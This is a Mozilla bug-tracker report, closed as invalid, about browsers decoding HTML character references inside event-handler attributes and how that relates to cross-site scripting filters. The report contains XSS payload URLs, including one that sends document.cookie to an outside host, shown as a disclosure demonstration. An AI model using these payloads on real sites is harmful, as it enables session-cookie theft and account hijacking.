Closed Bug 260355 Opened 21 years ago Closed 21 years ago

ASCII encoded character javascript parsing issue in most web browsers (Facilitates Cross Site Scripting)

Categories

(Core :: Security, defect)

Product:
Core
Component:
Security
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
RESOLVED INVALID

People

(Reporter: signup, Assigned: dveditz)

References

(
URL
)

Details

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3 Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3 While performing an assessment of a web site which was vulnerable to Cross Site Scripting, I observed that most browsers will incorrectly process html ASCII encoded characters within javascript. The site I was testing translated most non-alphanumeric characters into ASCII encoded values, for example an open parenthesis “(“ was translated into “&#40;” Below is an example HTML source which should not work, but does. The javascript parser should choke on the ASCII encoded characters and generate a syntax error, but it doesn’t. In this example, dragging the mouse over the input field will open a new window to www.google.com. <html><body><form action="" method=GET> <input name=foo value="test" onmouseover="window.open&#40;&#39;http://www.google.com&#39;&#41;"> </form> </body> </html> Below is link to a site which mimics the Cross Site Scripting Vulnerability mentioned above (this link generates the same code as the example above): http://www.segmentationfault.com/xss/cross-test.php?test=test%22+onmouseover=%22window.open('http://www.google.com')%22 The example below shows how the session cookie(s) can be stolen by appending all of the cookies associated with that session into the URL (which will show up in the web server logs): http://www.segmentationfault.com/xss/cross-test.php?test=test%22+onmouseover=%22window.open('http://www.segmentationfault.com/?'%2bdocument.cookie)%22 Having the session cookie sent to a malicious web site: http://www.segmentationfault.com/xss/cross-test.php?test=test%22+onmouseover=%22window.open('http://www.google.com/?'%2bdocument.cookie)%22 To reproduce this issue by following one of the links provided perform the following steps: 1.) Ensure that any pop up blockers are disabled in your web browser, or trust the site. 2.) Click on the links provided. 3.) Mouse over the input form field. To reproduce this issue from the source code provided: 1.) ensure that any popup blockers are disabled in your web browser. 2.) copy the supplied source code into an file with a .html extension 3.) Open the html file in your favorite web browser 4.) Mouse over the input form field. Web browsers tested: Internet Explorer Safari Firefox Reproducible: Always Steps to Reproduce: To reproduce this issue by following one of the links provided perform the following steps: 1.) Ensure that any pop up blockers are disabled in your web browser, or trust the site. 2.) Click on the links provided. 3.) Mouse over the input form field. To reproduce this issue from the source code provided: 1.) ensure that any popup blockers are disabled in your web browser. 2.) copy the supplied source code into an file with a .html extension 3.) Open the html file in your favorite web browser 4.) Mouse over the input form field. Actual Results: when dragging the mouse cursor over the form input field a window pops up to a different page. Expected Results: generated a javascript syntax error on the ascii encoded characters.
Summary: Ascii encoded character javascript parsing issue in most web browsers (Facilitates Cross Site Scripting) → ASCII encoded character javascript parsing issue in most web browsers (Facilitates Cross Site Scripting)
But surely those character references aren't in JS, they're in HTML attributes and thus will be replaced long before any of the code hits a JS parser? p.s. You've filed this bug against the Firefox front-end please file bugs found in the back-end against the Browser product, thanks. Moving to Security so the experts can decide: ->Browser:Security:General
Assignee: firefox → dveditz
Component: General → Security: General
Product: Firefox → Browser
QA Contact: firefox.general
Version: unspecified → Trunk
HTML entities are converted by the parser, before the DOM in constructed, before the browser responds to the event and kicks off the converted script. This is according to spec. The problem with XSS is getting the script in there in the first place. If you can do that you win, whether or not you can obscure parts of the script itself with entities.
Status: UNCONFIRMED → RESOLVED
Closed: 21 years ago
Resolution: --- → INVALID
I do still think this functionality does facilitate XSS in some cases where an application developer might think that they are successfully sanitizing data. I see the need for translating double quotes and possibly single quotes as well as ampersands, but not parenthesis and other characters. The following example does break because the JavaScript syntax because it treats the first encountered double qoute as the close quote for the onload statement: <html> <body onload="if (compare("text&quot;, &quot;text") { window.open&#40;'http://www.google.com&#39;);&#125;"> </body> </html> However, in the following example,dispite the mixed ascii encoded characters and literal characters the javascript still executes. I am thinking that not all of the encoded characters need to be converted to the literal charecters before being sent to the script inturpreter for most scripts to work successfully, but then again I cant think of every possible scenerio off hand where it might be necessary either... dispite that my gut instinct is that it is still not a good situation. <html> <body onload="if (1<5) { window.open&#40;'http://www.google.com&#39;);&#125;"> </body> </html> In the w3 spec it only specifically mentions the double and single quote and the ampersand: "Please note that script data that is element content may not contain character references, but script data that is the value of an attribute may contain them. The appendix provides further information about specifying non-HTML data." And in the specifying non-html data link: "When script or style data is the value of an attribute (either style or the intrinsic event attributes), authors should escape occurrences of the delimiting single or double quotation mark within the value according to the script or style language convention. Authors should also escape occurrences of "&" if the "&" is not meant to be the beginning of a character reference." If most literal characters work within the script why translate all of the character references into the literal characters? Especially when one the industry standard recommendation for preventing these types of attacks is for web application developers to convert potentailly harmful characters which are sent to the web server into a character reference so they will not be inturpreted. > http://www.owasp.org/documentation/topten/a4.html > http://www.cgisecurity.com/articles/xss-faq.shtml#vendor > http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf > http://www.cert.org/advisories/CA-2000-02.html > http://www.cert.org/tech_tips/malicious_code_mitigation.html
Status: RESOLVED → UNCONFIRMED
Resolution: INVALID → ---
not of course to say that one of the standard recommendations may be wrong in some cases... but if this issue could be fixed in the browser (without breaking anything) then the recommendations could still concievably stand.
The entity references MUST be converted to characters in the parser as the DOM is constructed. Then the resulting text is passed to the DOM implementation. There is no way to "fix" this bug without breaking all sorts of pages out there. People just need to write better scanners for JS in their XSS filters. Marking invald.
Status: UNCONFIRMED → RESOLVED
Closed: 21 years ago → 21 years ago
Resolution: --- → INVALID
Regardless of whether the spec is broken or not (many are), this is the web we live in now. The behavior is well-defined and site authors will just have to work around it. One option is simply keep user-supplied data out of attribute values. One way would be to specify sanitized user supplied values in variables defined in a <script> element, then pass those variables in your event handlers rather than writing the user values directly. More work? sure. But Mozilla cannot unilaterally change its interpretation of the way everyone else writes their web pages.
You need to log in before you can comment on or make changes to this bug.